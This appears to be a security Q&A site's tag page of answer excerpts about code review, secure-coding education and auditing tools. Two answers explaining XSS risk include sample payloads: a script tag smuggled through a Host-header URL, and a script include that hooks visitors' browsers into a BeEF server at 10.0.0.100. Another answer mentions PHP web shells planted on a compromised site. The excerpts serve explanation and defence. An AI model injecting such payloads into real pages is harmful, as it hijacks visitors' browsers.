Tag Info

Hot answers tagged

42

I would say a great way to learn is for her to break the applications she has already written. Assuming she is writing web applications, point her towards the OWASP Top 10. Have her see if she can find any of those flaws in her own code. There is no better way to learn about security concepts than actually seeing it happen on your own code. Once a flaw has ...


24

I suggest taking a look at the following links: PHP Security Audit HOWTO Spike PHP Security Audit Tool Zend Application Security Audit 6 Free PHP Security & Auditing Tools


14

I'm going to take the position that may get me flambéed... The problem I see, is that secure programming is taught as an add on. Best practices should be taught from the beginning (including security). The lie people are taught is that practice makes prefect. The truth is practice makes permanent. So if you are doing it wrong, you have to unlearn what ...


13

Theoretically, any kind of null-pointer dereferencing in Java triggers a NullPointerException, which can be handled within Java just as any other exception. This does not mean that this is good: in practice, it is quite hard to recover from such an exception except by removing the faulty part (i.e. letting the calling thread die, or getting back to a ...


13

Here are the things on my list, that I use for my clients (including some of those that you've mentioned): Coverage (according to what the org requires today, and expects to use in the future) Language Architecture (e.g. some tools are great for web apps, but not so much for rich clients or even Windows Services / daemons) Framework (e.g. support for ...


12

While I agree in principle with Everett, there is another point of view. The point of a lesson is to learn a concept, which can then be further built on. This lessens the slope of the learning curve. Teaching too much too fast is overwhelming; when faced with an onslaught of information, most brains "leak". It's great to say "Secure coding practices should ...


11

You should start with any interactive web proxy, such as burp proxy, paros, etc. Myself, I'm partial to Fiddler. Whichever tool you choose, this lets you examine all the request/response flow, and interact with the requests post-javascript. Great place to start. Eventually, I imagine OWASP's code crawler will support PHP too... though right now I'm not ...


11

It depends on the situation - type of application, deployment model, especially your threat model, etc. For example, certain compilers can substantially change some delicate code, introducing subtle flaws - such as bypassing certain checks, that do appear in the code (satisfying your code review) but not in the binary (failing the reality test). Also ...


10

Some good answers here, but I think some points were missing: Automatic tools finish a lot faster than manual testing, by orders of magnitude. Automatic tools cover the breadth, but you need manual testing for depth. (Breadth both in range of attacks/tests, and in probing all interfaces / lines of code). Autotools are great for the common low hanging ...


10

If you try to use pointer that is null, Java will throw a NullPointerException. Since this is a RuntimeException, you don't have to catch it, but you can. So for example String iAmNull = null; iAmNull.trim(); will throw a NullPointException and exit the program. If however you catch it try { String iAmNull = null;<br> ...


9

The bottom line: You are screwed. If you are concerned that one of the developers deliberately hid a backdoor in that codebase, you have no realistic hope of telling whether a backdoor is present. Life sucks. Comment: Some folks here are suggesting you can check for a backdoor by reviewing the code, or using static analysis tools, or somesuch. Don't ...


9

It depends on what your requirements are. A sufficiently complex and well-designed system could be used to identify the most simple backdoors or trapdoors in most programming languages. However, if a language is Turing complete, any single expression or function can be expressed in an infinite number of ways, which makes such analysis equal to the halting ...


9

Depends what kind of assessment you want to do. Maybe you should change your title to indicate "Black Box" or "White Box" or both. I've learned that vendors have a very loose definition of "security review" on their software so it is important to do your own assessment if you have the resources. Code Review The Vendor's code is theirs and you aren't ...


8

Free doesn't go far, but you can try running the following yourself: The community edition of netsparker: http://www.mavitunasecurity.com/communityedition/ skipfish: http://code.google.com/p/skipfish/ And if you want to dig deeper & you're willing to spend a little time learning how to wield it, you can download and fire up Burp: ...


8

There is already a standard method of reporting vulnerabilities to vendors. CERT is great about contacting vendors and mitigating the issue. I think that your ideas can be helpful and there is a lot of overlap with your ideas and OWASP. You should look for a local OWASP chapter in your area. If one doesn't exist, MAKE ONE!, and use it as a platform ...


8

It is a XSS vulnerability, but it's quite difficult to exploit: Take for example the following URL: http://anything."><script>xss</script>.example.com/aa/bb This URL will carry an XSS payload in Host parameter when navigated to, but: DNS would have to resolve this strange domain to the IP with vulnerable application (so unless the DNS is ...


8

XSS can be very dangerous in many ways. For example if I inject the following bit of XSS into your code, all clients viewing this code with Javascript enabled would become a zombie in my BEEF-Framework(Browser Exploitation Framework): <script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script> Once anyone browse a page with that ...


8

As @Lucas said, a lawyer should be your first port of call, however from a high level I can give some guidance on areas to look at - these are a small subset: How does the organisation test their own security? Do they use approved testers, internal teams, or both? Will you have a right to audit using your own staff or consultants? How do they manage ...


8

Much like other aspects of a real education (perhaps this should be more on Parenting.SE...), I think it comes back to critical thinking. My daughter is also taking some college CS courses, and I'm helping her work through them. However, I do not spoonfeed her the information, she needs to work for it. In many cases, I explain something very wrong to ...


7

Code review can be an expensive use of a consultants time and therefore your budget, to ensure you are getting value for money you could look to do the following; Triage the code you require to be reviewed. This way you may find that you can focus on code that completes specific roles such as authorisation / session management / specific business logic ...


7

Firstly, you have what looks like PHP Shells at img/51.php and img/74.php which may have been the source(s) of your problem. These are generally uploaded by someone who has compromised a site in order to easily execute operating system commands and/or interrogate the database. If that is the case, you may be looking at an issue with an insecure version of ...


7

@AviD solid points, totally agree on the root kits on binaries/compilers component. If you're a knowledgeable sec professional, setting aside the valid points AviD makes, the most vulnerabilities will most likely be in your source code. Having a strong knowledge of programming securely and how reverse engineering is accomplished should give you the best ...


7

As @sonofaaa mentioned, in the book, "The Art of Software Security Assessment", the authors discuss code-auditing strategies in Chapter 4 (end of Part I). In particular, external flow sensitivity (data flow and control flow) and tracing direction (forward or backwards slicing) are discussed along with many neutral methods of review. Other topics are ...


7

Try LAPSE+, Yasca, CodePro AnalytiX, Klocwork Solo, and the Teachable Static Analysis Workbench. Be sure to check out The Denim Group's blog post on Using static analysis to review file access in android apps, which includes some tools written in Perl. When Angry Birds Attack Android Edition is the latest blog post from TEAM JOCK, who presented on this ...


7

Excellent question. Dealing with security issues early on -- when finding a contractor, writing a contract, during requirements definition, and when defining the architecture -- will ultimately reduce the costs of producing secure software for developers, and reduce risks and associated costs for clients. Win-win. There is a great scenario of how badly ...


7

Realizing that you even have such a question already puts you ahead of the game. I would also add: (C) He's not very good at reviewing code, so you'll only get "low hanging fruit" (D) He's really a pentester, that thinks its "oh so easy" to branch out into code, so you'll get similar results as a pentest, only traced to the actual code. (E) He's a ...


7

Edit: it so happens that the first version of the question was talking about Ken Thompson's classic essay, so my answer was about it, too. It would be a shame to delete it, so I leave it at the end. Now, for the "updated" question: we now speak of something completely different, which is about the easiness of "hiding a backdoor in plain sight", namely in ...


6

I believe this question is best addressed in chapter 4 of The Art of Software Security Assessment, a book by Mark Dowd, Justin Schuh, and John McDonald. Without it as a reference, I can safely tell you that the best method is using runtime data along with source-code while determining "hits" (or traces, aka coverage) using black-box testing -- but only ...



Only top voted, non community-wiki answers of a minimum length are eligible